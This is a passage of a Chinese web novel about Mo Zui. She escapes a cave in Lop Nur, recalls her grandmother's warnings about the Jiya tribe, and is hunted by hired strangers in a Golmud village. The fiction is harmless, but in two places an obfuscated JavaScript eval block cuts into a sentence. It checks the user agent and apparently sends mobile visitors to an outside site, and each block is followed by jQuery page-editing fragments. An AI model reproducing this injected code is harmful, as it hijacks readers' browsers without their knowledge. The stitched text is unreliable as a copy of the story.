因为你是备胎啊!莫醉嘿嘿一笑,到底没将心中的想法如实说出。她摸索着站起身,摸黑走到季风和身边,打开手电筒的光,对准他的下巴,从下往上照:“你仔细看看,你见没见过这张脸?有可能出现在你女朋友的手机相册里,也有可能出现在某条朋友圈中。” 莫醉擎着手机,手腕因兴奋而微微晃动,手机边角磕碰在季风禾的下巴上。季风禾微微抬起下巴,试图避开,那手机却像是长着眼睛似的,追着他而来。他忍无可忍,只能伸手攥住她的手腕。 莫醉动作一顿,奇怪地看向季风禾,正想要问他要做什么时,地洞对面的人发出一声尖叫:“你是人是鬼?你不是死了吗?” 11.夕阳 边洛阳大吼出声,双目圆睁,声音凄厉,每一根发丝都散发着惊恐。莫醉被他吓了一跳,手中照明的手机滑落,被季风禾眼疾手快稳稳接住。 手电光旋转晃动,从季风禾的脸上滑开,倾斜照向顶上的岩板。季风禾的脸隐入光亮与黑暗间,模糊柔和许多。边洛阳呼吸缓和,垂头苦笑:“抱歉,是我认错了人。” 莫醉接过季风禾递过来的手机,好奇心不减:“你认成了谁?” 边洛阳抬眼看了季风禾一眼,又迅速挪开目光,喉结滑动:“蔡蔡有个哥哥,几年前死了,和他长得有些像。” 蔡思韵的哥哥……难道是骨科?! 莫醉越发精神了,用手肘再戳季风禾:“什么情况啊,你们有血缘关系啊?人鬼情未了还是白月光重生?嫂子文学还是巧取豪夺?玩这么刺激啊?” 季风禾蹙眉,扯了扯唇角:“你有病?” 三个字,干净利落浇灭莫醉八卦的热情。她意识到季风禾反感这不经意的越界,讪笑着退回原处:“老板别生气,我就是呆着有些无聊了,想着听点八卦,打发下时间。” 季风禾“嗯”了一声,言简意赅将此事翻篇,连眼神都没给她一个。莫醉摸了摸鼻子,只感觉满头满脸都是灰。 二十万劳务费还没收到,莫醉不敢惹恼季风禾,只能将心中的好奇按下,收敛起泛滥的八卦之魂,坐远了几分。 莫醉想,要是下次再接这种活儿,定要对方先付钱……呸,还是不要有下一次了。 气氛凝滞而古怪,边洛阳后知后觉察觉,弱弱开口,试图缓和气氛:“这个地洞不像是自然形成的。” 莫醉靠到墙上,再次将手电关掉,啧啧两声:“同学,洞顶上那岩板怕是比你家桌子还平,还刻着花纹呢,肯定是人工的啊。就是不知道是谁这么有功夫,来罗布泊挖这么一个大坑。” 边洛阳叹了口气:“也是。不过天然和人工也没什么区别,没有食物和水,我们怕是要死在这处了。” 话音落下,气氛沉寂下来。 洞内漆黑一片,不见丝毫光亮。三人分坐在三个角落,看不到彼此,在黑暗中静坐,半晌没有动作。不知过了多久,莫醉再次站起身,在洞内走走停停,动静不断。她绕了几圈后,停在一个角落,脚底不停摩擦地面,发出刺啦刺啦的响声。 这声音在死寂的洞内被无限放大,反复回荡,吵得人心烦意乱。 季风禾打开手电光,照向角落里站着的莫醉身上,见她正扶着洞壁,手指在墙壁上细细摩挲。 洞壁坚硬平整,外层是沙粒似的物质,凹凸不平,虽墙壁直立,但摩擦力足够,可以落脚。 莫醉侧过身子,冲着季风禾挑眉:“老板,要是洞口打开,这高度你能爬上去么?” 她的眉眼明亮,一举一动轻而易举鲜活整个黑暗的地洞。季风禾站起身,退后几步,仰头以双眼衡量高度,肯定道:“能。” “那就好。”莫醉松了口气。 边洛阳听着二人嘀嘀咕咕些无关紧要的内容,忍不住问:“你们在说什么?还有,你们为什么不害怕?你们不怕被困死在这儿吗?” 莫醉松了松筋骨,好心解释:“你不是说了吗,这洞口还开过一次,我们只要耐心等,总能等到洞口再开的时候。更何况,这洞既然是人挖的,定有机关能打开这洞,或是通往其他的地方。不然这人挖洞做什么?难不成要储存大白菜吗?至于为什么不害怕——”她拉长声音,语重心长,“年轻人,既来之则安之听过吗?你要是下次再被困住,少些没用的情绪,多想想怎么能出去,这样才能更讨你女朋友喜欢。”她指指一旁稳如泰山的季风禾,意味深长,“像他一样。” “莫醉。”季风禾打断她的喋喋不休,眸色沉沉,算不上愉悦,“你要我做什么?” 莫醉指着头顶岩板的边缘:“要是洞口打开,你力气大,先上去拉人,我在下面托着他,将他第二个送上去。”她转身看着还坐在墙角的边洛阳,“起来活动活动,洞口开合的时间不会太长,咱们可能只有一次机会。” 边洛阳一愣,而后扶着墙,颤颤巍巍起身。他坐在墙角长时间没动,肢体僵硬,缓和了许久才重新学会走路。 “你知道怎么打开洞口?”边洛阳问。 莫醉没回答他,指挥着二人到正对面的墙边站好后,转身在墙壁上摸了几下,又拍打几下。几秒钟后,洞顶传来巨响,大地像是开启了震动开关,目之所及的一切都在震动。 地面上的沙石跳跃不止,晃出残影;墙壁上依附的灰尘簌簌落下,烟尘弥漫。头顶岩板缓缓开启,有一线天光泄入洞内。如水流般的沙土从缝隙处滑落,纷纷扬扬,迷得人睁不开眼。 洞口刚刚打开一条可供一人通过的缝隙,季风禾退后几步,借着助跑的冲力,三两步攀上洞顶,双手撑着身体翻身出洞。莫醉看着站在一旁眯着眼睛、咳嗽不止的边洛阳,气不打一出来,一巴掌糊在他的后背上,呵斥道:“皮能紧点吗?” 她蹲下身子,拍了拍肩膀:“踩上去,快点。” 边洛阳低头看着苍白异常,清晰可见骨骼的肩膀,露出几分迟疑,半晌没有动作。莫醉彻底失了耐心:“我数三下,你要是再不踩,我就自己上去了。到时候这就是你的墓冢,来年我给你上坟。” 这话怎么这么难听!洞口处等着拉人的季风禾动作顿了一瞬,看着蹲在洞底的莫醉,眼底浮现几分无奈。 边洛阳还在犹豫,莫醉却没和他开玩笑:“一。” 沙石如瀑布般坠下,落了莫醉一头一身,边洛阳没动作。 “二。” 大地震颤得越发厉害,整个洞口彻底打开,边洛阳依旧没动作。 “三。” 洞开开始合拢,莫醉气得脑袋疼。她正准备起身,试试能不能将边洛阳丢上去时,他终于动了。 边洛阳闭了下眼,踩在莫醉的肩膀上,将脚下柔软的骨骼当做一块石头,垫着脚去够季风禾伸下来的手。但他身量不够,无论怎么尝试,都还差一点。季风禾跪在地上,一只手紧紧扣着边缘,另一只手尽可能地向下伸。 风沙还在吹,大地还在震。季风禾看着不远处已经合上一半的洞口,扬起声音,盖过凄厉风声:“莫醉,再托起来点!” 边洛阳被困几日,早就不剩什么力气,此刻如一块能站立的死肉,只能依靠季风禾和莫醉。莫醉不发一言,紧咬着嘴唇,手撑住墙壁,深吸一口气,终是将边洛阳又顶高了几公分。 季风禾终于拉住边洛阳的手。 季风禾在洞口处用力拉,莫醉在洞底处使力托住他的脚,在洞口还剩三分之一时,将边洛阳送了上去。 边洛阳在地上翻滚一圈,仰面躺着,在风沙中大口喘息。他看着眼前昏黄暗沉的天色,如此刺眼,如此绚烂,忍不住放声笑起来,心甘情愿吞下一口又一口的沙。季风禾来不及管他,回到洞口边想要拉莫醉时,却看不到她的身影。 莫醉将边洛阳送上去,抓住岩板合拢的最后一丁点时间,拿出手机草草拍摄顶部岩板的花纹。不远处传来季风禾的怒吼:“莫醉!” “来了!”莫醉将手机塞回口袋,身手灵活,三两下跃起,抓住季风禾的手,最后一个离开地下洞穴。 岩板在她的身后缓缓合拢。 片刻后风止沙停,天地重归平静。 - 突然的风沙打断直升机的搜救,混乱的磁场让外界再次于莫醉和季风禾失联。好在没过多久,成坤就接到季风禾的电话,说他们一切安好,正在往七里镇走。 成坤犹豫了一下,还是提了句蔡思韵的情况:“除了周寻,其他两个人的情况比较严重,已经在去西安的飞机上了。蔡思韵上飞机前醒了一次,问边洛阳的情况。你们那边怎么样了?需要叫车在七里镇等你们吗?救护车还是殡仪车?” 季风禾瞥了一眼正在副驾昏睡的人,淡淡道:“救护车吧。他看着挺精神的,比周寻的情况还好。” 成坤松了口气,又问:“莫姑娘呢?她会和你一起出来吗?” 季风禾透过后视镜,看着后面乖巧跟 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到达七里镇时,成坤和救援队的人早就在镇口处等着,莫醉将车停在季风禾的车后面,下车走入人群中。 莫家老二,莫病也在,看到她后,视线扫过她的全身,见她除了身上脏了点,头发乱了点,全须全尾,没受伤后,松了口气,高兴不已:“姑!” 莫醉挥挥手,一眼瞧见他手中提着的冰奶茶,比看到他还高兴。 奶茶的冰化了大半,只剩些许凉意。莫醉丝毫不嫌弃,一把抢过来,插上吸管嗦了一大口,含糊不清道:“阿饱呢?” 莫病嘿嘿一笑:“昨晚被混合双打了一夜,还在床上躺着呢。” “活该。”莫醉嚼吧嚼吧珍珠,点评字字珠玑。 另一边季风禾和成坤碰面交接后,将后续的事扔给他来处理。季风禾走到莫醉身旁,问她:“晚上一起吃个饭?” 莫病警惕地看了他一眼。 莫醉瞥了眼天色,摇摇头,认真道:“我这就走了,赶着回去看店。” 季风禾眯着眼回忆那家一个客人都没有、近乎倒闭的小旅店,只当她这是婉拒,不再多说。倒是一旁的莫病有些沮丧:“姑,这么快就回去啊,我出门前我爸还念叨你呢,让我一定带你回去吃晚饭。” 莫醉笑了下:“我确实有些事,需要尽快回去。土豆先放在你们家,麻烦你们再照顾一段时间,等我回来后,再去接它。” 莫病愣住:“你要出去?要去哪?” 莫醉咬着吸管,不说话。 莫病叹了口气:“那你一定注意安全啊。” “嗯嗯。”莫醉含糊应下这份好意。 不远处边洛阳正要上救护车,突然想到了什么,一瘸一拐走到莫醉身边,将她拉到一旁,轻声道:“听说你不是救援队的,这次进罗布泊只是好心帮忙。我不知道该怎么谢谢你……我想了想,你好像对我说的那个,和季大哥长得很像的人感兴趣。我手机里恰好有他的照片,但是现在手机坏掉了,没办法发给你。要不你留给我个微信号,等我修好手机再发给你?” 莫醉虽然不觉得这是件多么重要的事,但送上门的八卦和秘密,没有拒绝的道理。她返回车里,扒拉出一只笔,将一串号码写在他的手臂上:“我的手机号,可以搜到我的微信。” 边洛阳点头,转身向救护车走。 天边只剩最后半个未落的太阳,余光落在远处的戈壁滩上,金灿灿的,像埋藏着宝藏。夕阳下的万物镀了一层金边,落在七里镇镇口众人的脸上,将劫后余生的欣喜和助人为乐的真挚笑容发酵扩散,像是圣光。 莫醉心情舒畅,不再耽搁,发动皮卡准备离开。车子路过边洛阳时,瞧见他身后几步外站着的正是季风禾,起了点坏心思。 她打开车窗,冲着一群人吹了声口哨,将众人的视线吸引过来后,坏心地对边洛阳道:“忘了给你介绍,那个救你的大哥,就是你女朋友的未婚夫。恭喜你哦,你被小三啦!” 12.格尔木 从敦煌出发,七个多小时车程,莫醉开得很快,六个小时四十七分,赶在凌晨一点前回到茫崖。 街边商店早已歇息,只有霓虹灯牌亮得刺眼,红的黄的白的,边缘在黑夜中晕散,复古又真实。天空星辉斑斓,远离灯光的地方可见棉团儿似的星云。皮卡的远光灯毫无遮挡,刺透整条马路,消融在城市尽头的戈壁和雅丹群中。 莫醉将皮卡停在一条小巷子里,在夜风中走了几十米,回到盛唐旅馆。 大门处落着卷帘门,莫醉抬起半米高,灵巧钻进黑漆漆的旅店内。 明明只离开五日,地面却积了一层沙尘。卷帘门重新落下,莫醉摸黑走到柜台后的角落,瘫倒在斑驳起皮的老旧皮沙发上,长长舒了口气。 这一趟真是有够累的。 她合上双眼,身体疲惫,思绪却很活络,穿越经年的风沙尘土,回到她和罗布泊相遇的起点。 那是四年前的事了。 那年她大学毕业,相依为命的祖母突然病重,她赶到病床前时,祖母已是进气多出气少。她附耳到她的唇边,隔着呼吸机,勉强听清祖母留给她的最后一句话。 “快逃,去罗布泊,那里是一切的起点,也是所有人的终点。只有罗布泊能保护你。” 祖母还要说什么,只剩大口喘息,再发不出半个音节。她拼尽全力,颤颤巍巍侧过头,看向桌面上倒扣着的水杯,希望她能明白这其中的含义。 莫醉能明白……就怪了。那年她不过二十二岁,还很年轻,只当祖母病入膏肓,在说胡话。后来,她在殡仪馆好心人的帮助下,懵懵懂懂混混沌沌为祖母办了丧事,整理祖母的遗物时,发现一个生锈的饼干盒子。 饼干盒子像是几十年前的款式,表面绘着几个浓眉大眼的小孩子,边缘处锈得看不出轮廓,几乎融在一起,莫醉用了好大的力气才撬开。盒子里放着一本泛黄的笔记本。笔记本的内容是关于一个很久以前生活在罗布泊里,名叫“吉牙”的部落,莫醉翻了几页没了兴致,随手放回饼干盒,塞进角落的架子上。 后来的一年,是莫醉人生中最跌宕起伏、惊心动魄的一年,莫名其妙被人绑架,莫名其妙被人抽血,又莫名其妙被人给放了。她也不知道她是如何招惹了这么一群人,只是自那以后,她的生活便发生了变化。 走在路上会被人跟踪;放在桌上的饮料,离开取餐具的功夫都会有人下药;走到阴暗角落时会有人试图将她强行掳走。 她终于有些相信祖母临终前说的话了。 莫醉连夜回到住处,将祖母为数不多的遗物全部塞进箱子里,包括生锈的饼干盒。这之后她带着这个箱子,奔赴千里,走走停停,最终落脚在这个人烟稀少,关系简单,距离罗布泊近,还可向四处逃亡的小城市。 一呆就是三年。 这三年中,她无数次翻看那本泛黄的笔记,知晓了不少关于吉牙人的事,比如他们不畏惧炙热高温,对水的需求量极少,能在罗布泊中很好的生存,却在几十年前离开故土;比如他们常年生活在地下,夜视能力很强,在地下建立了新的文明;再比如他们可以在罗布泊中靠直觉辨认方向,靠气味分辨出一定距离内是否有活人的气息。 巧的是,这些特征莫醉都有。 她几乎可以确定,她就是吉牙人的后裔。 所以,那群人找寻她,追杀她,都是为了吉牙文明。她若想终结、摆脱这一切,就需要去到荒漠最深处,找到掩埋在风沙里的秘密。 这三年中,她无数次出入罗布泊,但什么都没找到。她对吉牙遗址的位置知之甚少,可以说除了知道他们曾经住在罗布泊之外,其他一无所知。莫醉时常想穿越时空到几十年前,问问写笔记的那人,为什么写的全是屁话,最重要的信息,比如吉牙部落究竟生活在罗布泊的什么地方,却是只字不提。 这次进入罗布泊,她本也没报太大的希望,却没想到阴差阳错,竟真的能找到些不一样的东西。 比如那个地洞。 那个地洞是如何被发现,机关是如何被触发,她一无所知。但在地洞中时,她曾在黑暗中绕了几圈,借着比常人更厉害的夜视能力,发现地洞的隐蔽处竟然藏着机关。而更巧的是,这机关她曾见过,与年少时祖母给她玩过的小玩具,几乎一模一样,她恰好知道打开的方式。 若她没记错的话,这样的机关该是有三个。单独打开算游戏失败,若三个机关同时在一定时间内开启,则会获得最后的宝藏。 或许祖母在很久以前,就告诉过她很多关于吉牙的信息,只是她一直未曾发觉。 看来,需要回趟祖母的老宅,也是她幼年时短暂生活过的地方,看看是否能有新的发现,能帮她想起小时候的事。 - 莫醉睡了一天一夜,最后被手机短信声吵醒。她闭着眼睛,将手伸到柜台上摸索,拔下正在充电的手机,拿到眼前一瞧,瞬间清醒。 屏幕上是一条转账短信,莫醉揉了揉眼睛,数了好几遍,才确认这不是一场梦。 个十百千万……二十万!整整二十万! 季老板威武!她终于能给皮卡换底板了! 莫醉神清气爽,腿也不疼了腰也不酸了,从沙发上爬起来,在黑暗的旅馆大堂蹦蹦哒哒,跳着不伦不类的舞步,活像个跳大神的。等到跳累了,靠在桌子上歇息时,才注意到手机上还有一条消息提醒。 是微信的好友添加。 “,”请求添加你为朋友。 微信名只有一个逗号,好友申请也未留下只言片语。莫醉点开这人的头像,是一只带着滑雪镜的萨摩耶,冲着镜头微笑。它的背后是日照金山的美景,连带着萨摩耶都金灿灿的。 她想起离开敦煌时,给边洛阳留下的手机号,没多想,通过了这条好友申请。 - 莫醉原本打算休整两天后,尽快启程前往格尔木,祖母老宅的所在地,如今却因着这二十万,不得不再耽搁些时日。等到她的皮卡改装完毕,从修车厂开回来,小旅馆又活见鬼迎来四个年轻的客人,有男有女,一次性定了一个星期的房。 有钱不赚王八蛋,莫醉将行程继续延后,专心伺候这四个客人。 按理说,茫崖毕竟是个小地方,来旅游的游客最多住个一夜两夜,看看风景,感受感受风土人情,也就离开了,这四个人却不知来做什么,每日早出晚归,三日后失去踪影,第七日才赶回来退房。 这么一耽搁,再从茫崖出发时,已是十月底,天寒地冻的时候。 格尔木平均海拔近三千,冬天来的比平原地区要早得多。莫醉到达格尔木的那日,天空中飘着零零碎碎的雪花,道路旁积着零零散散的雪。雪日无光,天色昏昏沉沉,远处山峦顶端重新覆盖上雪顶,与灰白色的天空融为一体,向山下不断延伸。雪下的山石浸透雪水后是湿漉漉的黑,连接着近处布满碎石的戈壁,苍茫寂寥。 莫醉三岁前一直住在格尔木的祖母家,后来到了要上幼儿园的年纪,在外打拼的父母将她和祖母一起接到几千公里外的燕城。这之后,她和祖母偶尔会在寒暑假回到格尔木的老院子中,直到她上小学三年级后,才再没回去过。 在她的记忆里,祖母家在城市边缘的村庄中,有个很大的院子,院门是泛着白的青绿色铁门,门框是灰黄色的砖石堆砌而成。铁门开合时,会有吱吱呀呀的刺耳响声,后来还是父亲回乡探亲时,用几滴润滑油,完美解决这个问题。 院中角落有一排铁笼子,养着几只鸡,每日天不亮就开始叫,祖母带着她去鸡窝里掏鸡蛋,有的鸡蛋刚掏出来时甚至是热乎的,对年幼的孩子来说很是新奇。 如今已经过去二十多年,她早不记得祖母家的位置,只有藏在记忆深处的画面,声音,和味道,是仅剩的可以抓住的记忆。好在她曾瞧见过祖母的档案,档案的起点就是这座格尔木的小院子,匆匆一瞥中,她将这行地址记得七七八八,如今竟能派上用场。 莫醉将车停在格尔木市中心一个距离派出所不远的停车场里,透过停车场黑色的栏杆,可以瞧见街对面派出所蓝白色的建筑,瞧着分外安全。下车时,雪已经停了,莫醉揣着几枚硬币,乘坐公交车到了格尔木北边,跟着导航走走停停,街边的景色逐渐变得荒凉古旧,像是被雪冻结了时间。 祖母的院子在一个名叫那河村的地方,鼎盛时期有近百户人家,目前尚在村里居住的不足十户。村口靠马路的地方有个小卖部,门前立着个褪色的遮阳棚,棚上堆积着薄薄一层雪,棚下围着透明塑料布,里面挤着几个人,正凑在一起打扑克嗑瓜子。看到莫醉的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430595|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影后,其中一人掀开塑料布,用方言招呼几句,见莫醉听不懂,才换了普通话:“你是哪户人家的尕丫头?” 莫醉扫过眼前几人,两个老太太和一个年轻的小伙子占据石头墩子牌桌的三个角,年轻人身后站着个年轻姑娘,穿着单薄的呢子外套,时不时蹦跳几下,驱散寒意,眼神则专注地看着前方年轻男人的牌。两个老太太身后还站着一个头发花白,拄着拐的老头,也是开口问莫醉话的人。 莫醉随口捏了个谎话:“我是游客,对格尔木的老村庄很感兴趣,正好路过,就想进村子转转。” 那老头子挥挥手:“都是些破房子,有什么好看的?你要去就去吧,就是小心些,雪天路滑,地上到处都是钉子和碎玻璃,一不小心能被划好大一个口子。” 莫醉笑着点头,接下这份好意。 村中大部分院子已经破败,院内堆满垃圾,角落长满一簇一簇的野草,院墙倒的倒塌的塌,几乎瞧不见完整的。莫醉踩着泥泞的土路,穿过荒废的村庄,循着记忆里的路线,在角落找到了祖母的院子。 院内养鸡的铁笼子已不见了踪影,院中三间屋子的门窗也只剩下边框。莫醉小心翼翼踩过院中堆成山的垃圾,走进记忆深处最熟悉的地方。 未被人带走的家具早不见曾经的光鲜,破破烂烂,一碰就碎。橱柜里还残留着曾经的生活用品,不值什么钱,无人带走。莫醉在三间屋里转了几圈,最后停在祖母的房间。 祖母的房间有一个书橱,书橱是上个世纪八九十年代的款式,莫醉常在年代剧中看到。在她的记忆里,书橱里曾放着密密麻麻的古书和笔记,还有一些小说绘本,如今有的已经遗失,剩下的散乱摊开在书橱附近的地面上,七扭八歪,显然曾经被人翻找过。 莫醉蹲下身,一本一本翻,没发现任何和吉牙相关的内容。 书橱旁放着个没有盖的收纳箱,箱子里是她幼年时的玩具。她翻翻找找,没找到曾经玩过的机巧玩具,不知是被人带走了,还是她和祖母离开时,带到了燕城。 莫醉正准备起身,手指在箱子底部摸到一本外皮光滑的硬壳册子,她小心翼翼取出,是一本粉红色的相册。 粉红色的壳子外皮泛黄,边角处破损残缺,但里面的照片还很完整。莫醉翻了翻,前几页放着的都是她年幼时的照片,还有父母年轻时的彩色照片。翻到最后几页,却成了老旧的黑白照片。 这相册的时间,竟是由近及远。 黑白照片记录了祖母的年轻时,背景是莫醉从未见过的地方,她正要细看,耳边却听到奇怪的声响,像是几个人踩着砖瓦碎玻璃,逐渐靠近的脚步声。 莫醉动作一顿,立刻掀开冲锋衣,将相册的边缘塞进牛仔裤里,剩下的部分紧贴着腹部放好,最后用冲锋衣牢牢盖住,确认不会被看出后,才缓缓站起身,看向出现在院门口的人。 这俩人她刚刚见过,正是在村口遮阳篷下打牌的那对年轻情侣。 莫醉刚刚就奇怪,这么年轻的两个人,为什么还愿意呆在一个早就落败的村庄。她还以为是年轻人梦想靠自己的力量发展家乡,如今才醒悟,不是所有人都和她似的,有这么高的觉悟。 斗地主不能救村。 莫醉走出房间,站到垃圾堆上,居高临下先发制人:“你们要干什么?” 那两个年轻人愣了一下,显然没想到莫醉会这般理直气壮。他们对看一眼,年轻女人开口问:“我们路过这里,听到响声,才想着进来看看。这房子已经许多年没人来过了,你是这家的人吗?” 莫醉咧开嘴笑得无赖:“我刚不是都说了嘛,我是游客,随便逛逛。” 年轻女人抿了下唇:“我们是这村子里的村民,很久没见过年轻游客对这里感兴趣了。要不要去我们家喝杯茶?” 莫醉挑眉,叽里咕噜说了一串话。年轻女人一愣:“这是什么意思?” 莫醉眨眨眼睛:“这是村子里的方言,你们没听过吗?” 对面那两人呆在原地,半晌,年轻男人才反应过来,笑容几分僵硬:“姑娘真爱说笑。你既然是游客,怎么可能会这里的方言呢?” “是啊,我随便说的,你们别放心上哈。”莫醉拍拍手上的灰,从垃圾山上顺坡溜下,“不是说要请我吃饭么?带路吧。” 13.狂奔 年轻男女大概二十多岁的模样,男人一头黄毛,在前面带路,时不时回头看一眼身后跟着的莫醉。莫醉双手揣兜,装作没注意到他们的打量,摆出一幅好奇模样,边走边向四处看,将村里的路牢牢记在脑海中。 “你们是村里的?”莫醉随口问。 “是,自小长在村里,念完大学后就带着媳妇儿回了家乡。” “那你老婆人蛮好的,几公里外就有新建的楼房,她却愿意跟着你住在这里。你们靠什么生活?靠斗地主赢钱?” 黄毛笑容一滞,再开口时僵硬又尴尬:“这几日正好放假。平常我们俩也是要上班的。” 莫醉挑眉,不再多问,怕他们编不出更好的谎话。 村子确实荒废多年,多数房屋和莫醉祖母的老宅差不多模样,住不了人。莫醉跟着那对男女串了两条泥泞小道,终于瞧见一个干净整洁的院子。 铁门没上锁,一推就开。门上挂着的铁锁,锁身布满锈斑,锁心亦早被锈住。莫醉装作什么都没看到,平静移开目光。 院中拴着一根晾衣绳,绳子上挂着几件还未收起的衣裳,被晒衣绳顶起处落着细细一条雪。莫醉再次移开目光,不敢再继续乱看。 她心中气闷,只觉得她这被骗的,比骗人的还要憋屈。 屋子里干干净净,堂屋中放着一套旧沙发,年轻女人去隔壁厨房烧水,黄毛招呼莫醉坐下,莫醉前腰顶着一本相册,哪里坐得下?笑着婉拒:“前几天摔了尾椎,现在只能站着。” 黄毛挠了挠头,不再多说,只看着莫醉笑:“寻常年轻人见到这样的旧村庄,都不愿意靠近。你竟然愿意走到最深处的院子,像是特意来找什么东西似的。” 这人忒不会套话。套话讲究润物细无声,哪儿有他这么直白的?莫醉敷衍几声,视线扫过屋内边边角角,瞧见各种被时间淘汰的物件,好好摆在橱柜中,像是还在使用的模样,忍不住想笑。 都什么年代了,又不是与世隔绝的地方,还摆这么多没用的老物件,给谁看呐?还是说,这房子久未有人住,被这俩人临时收拾出来,只为了等她? 他们怎么知道她什么时候来?她要是一直不来,难道他们要等一辈子? 有问题就要问,免得问题越积越多。莫醉走到窗边,透过脏兮兮的玻璃看向四周,没瞧见任何人影,安下心来。她转身看向身后不远处,站起身警惕看着她的黄毛,第一秒分析俩人的体能差,第二秒扫过周围环境,第三秒扑向一旁的柜子,夺过茶盘里的水果刀。 黄毛快速向她靠近,莫醉并未回头,盯着柜子上摆放的玻璃装饰物的那丁点反光,侧身脚向后蹬,用了七成力气,精准命中那人的下身,痛得他再控制不住动作,跪倒在地上,一手捂住受伤处,一手撑在地上,咬牙道:“我好心带你来家里喝茶,你这是要干什么?我要报警抓你!” 莫醉懒得和他废话,脚踩在他撑地的手上,顺手将水果刀刀刃贴近他的颈侧,笑嘻嘻道:“行啊,报警啊,我反正不怕,你怕不怕就不知道了。” 黄毛抬起眼狠狠瞪着她。 莫醉懒得啰嗦:“说说吧,你们是谁,为什么要来这个村子?” 黄毛额角冒出汗水,不知是疼的还是因为什么别的。莫醉脚下使力,压得他痛呼出声:“我们就是村民啊!” 莫醉凑近几分,如恶魔低语:“住在这里,是在等我吗?” 钝了的水果刀逼近黄毛的脖颈,刀刃微微陷入肌肤,虽并未划破,但带来的冰冷和钝痛却是真实的。黄毛心中生出几分惧意:“我们真的——” “嘘,想好了再说。”莫醉轻声念着,像是真的在为他考虑,“你知道的,我要是一头钻进那地方,没有人能找到我。你说我要是现在抹了你的脖子,转头躲到那里面去,警察抓不到我,你却白白的死了,多可惜呀!我早就烦透被你们追着跑的生活。择日不如撞日,不如就现在,结束这一切?” 黄毛脸上的惊慌和恐惧逐渐被茫然和不解替代:“不是,你在说什么啊!我什么时候一直追着你跑啊!我就是前些日子接了个活儿,他们让我来这里住下,帮他们盯着你刚去的那个院子……我是第一次见你啊!我都不知道你是什么人,我追你干什么?还有,什么那里面,你在说什么啊!怎么可能会有警察去不了的地方?” 这不是正主。莫醉心中了然,表情却不变:“是谁让你做这些的?” “我也不知道啊!我就是个小喽啰,只管收钱做事。” “他们是什么时候联系你的?” “大概两个星期前吧。那时候我在网吧打游戏,突然有人把我拉出去,我还以为是要打架呢,结果交给我这么个活儿。他们给钱多又爽快,还让我带着女朋友一块,傻子才不干!我还问他们,这么简单的活儿,他们为什么自己不做,那人说需要几个本地人。其实我和我女朋友也不是本地人,是来格尔木打工的,但我不敢告诉他,怕丢了这么好的活儿。” “你不知道那人是谁,总该有联系方式吧?把他的联系方式给我。” 黄毛没说话,转过向窗外看去,表情中的不安散去不少,替换上了焦急。莫醉心中一顿,立刻想起,三间连通的屋子并未传出任何烧水的声音,而她和黄毛的争执打斗发出不少声响,竟也没能将那年轻女人引到屋中查看,显然是早不在屋里,去通风报信了。 莫醉松开钳制男人的手,拔腿往院子中跑,没有丝毫恋战。 是她唐突了,只想着不入虎穴焉得虎子,没想到这窝老虎是群居的,竟不止俩。 穿过院子时,莫醉顺手将晾衣杆上冻得梆硬的衣服抽走,抱着冰衣服跑到院子外,一抬头便看到不远处的三四个人,为首的正是去烧水的年轻女子。莫醉扭头冲着另一个方向跑,按着来时的路线,发足狂奔。 下过雪的泥土道泥泞湿滑,莫醉尽力控制步伐,落脚在被踩踏过、但还没结冰的地方。松松绾起的头发因奔跑而散落下几缕,遮挡住视线,莫醉腾不出手去整理,干脆用牙咬住,视线终于稳定而清晰。 记忆里的村子早就变了模样——就算没变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441163|183971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模样莫醉也记不住。她对村子道路的熟悉情况不如身后紧追不舍的几个人,很快便被他们抄近路追上。她将手中抱着的几件衣服,一件一件往后丢,结了冰的衣服杀伤力不亚于铁板,一时间身后国粹响成一片。她抓住这个机会冲出村子冲到到路边,一眼看到不远处停着的两辆没拔钥匙的摩托车。 莫醉想把一辆车的钥匙拔下来带走,但眼看那几个人已经追上,她来不及动作,飞跃上其中一辆车,拧动把手,全速向市中心飞驰。 被警察叔叔抓住罚款,还是落在身后那几个人的手中,她还是分得清的。 雪天路上人少车少,被压过的路面结了一层冰,难以控制方向,莫醉开了几公里到达一个商圈,弃车跃过路边的栏杆,一股脑扎进稀稀疏疏的人群中。她的脚下不停,东拐西拐,视线扫过四周,寻找可以藏身的地方。 长时间的奔跑让她喘不上气,胸口剧痛,却不能停下脚步歇息。正焦头烂额眼冒金星之际,她的胳膊突然被人扯住,脚下一个踉跄,险些摔倒。莫醉稳住身子后,怒上心头,空着的另一只手一瞬不停往那人脑袋上招呼,那人却似预料到她的动作,抓住她的手腕,顺便侧身避开她腿脚的攻击。 “是我。” 莫醉一愣,这才看向那人的脸。 是季风禾。 “你怎么在这?”莫醉压着嗓子,声音低沉。 此刻显然不是叙旧的好时候,季风禾拉着她向一旁的地下停车库的入口走:“走。” 季风禾对这里很熟悉,带着她穿过空旷的停车场,钻入角落的电梯厅,乘电梯去了一层。 一层是酒店大堂,光线极亮,吊顶上华丽的水晶灯向四周折射出绚烂的光,空气中弥漫着令人舒缓的香氛味道。季风禾松开扯住莫醉胳膊的手,将她后脑勺上将落未落的皮筋扯下,顺手帮她抓了抓头发,让整个发型整齐自然些,不再像个拾荒者。 季风禾自然而然牵住莫醉的手,轻声道:“表情自然些。” 莫醉不明所以,难得没有多问,压住剧烈的喘息,努力装成个正常人。 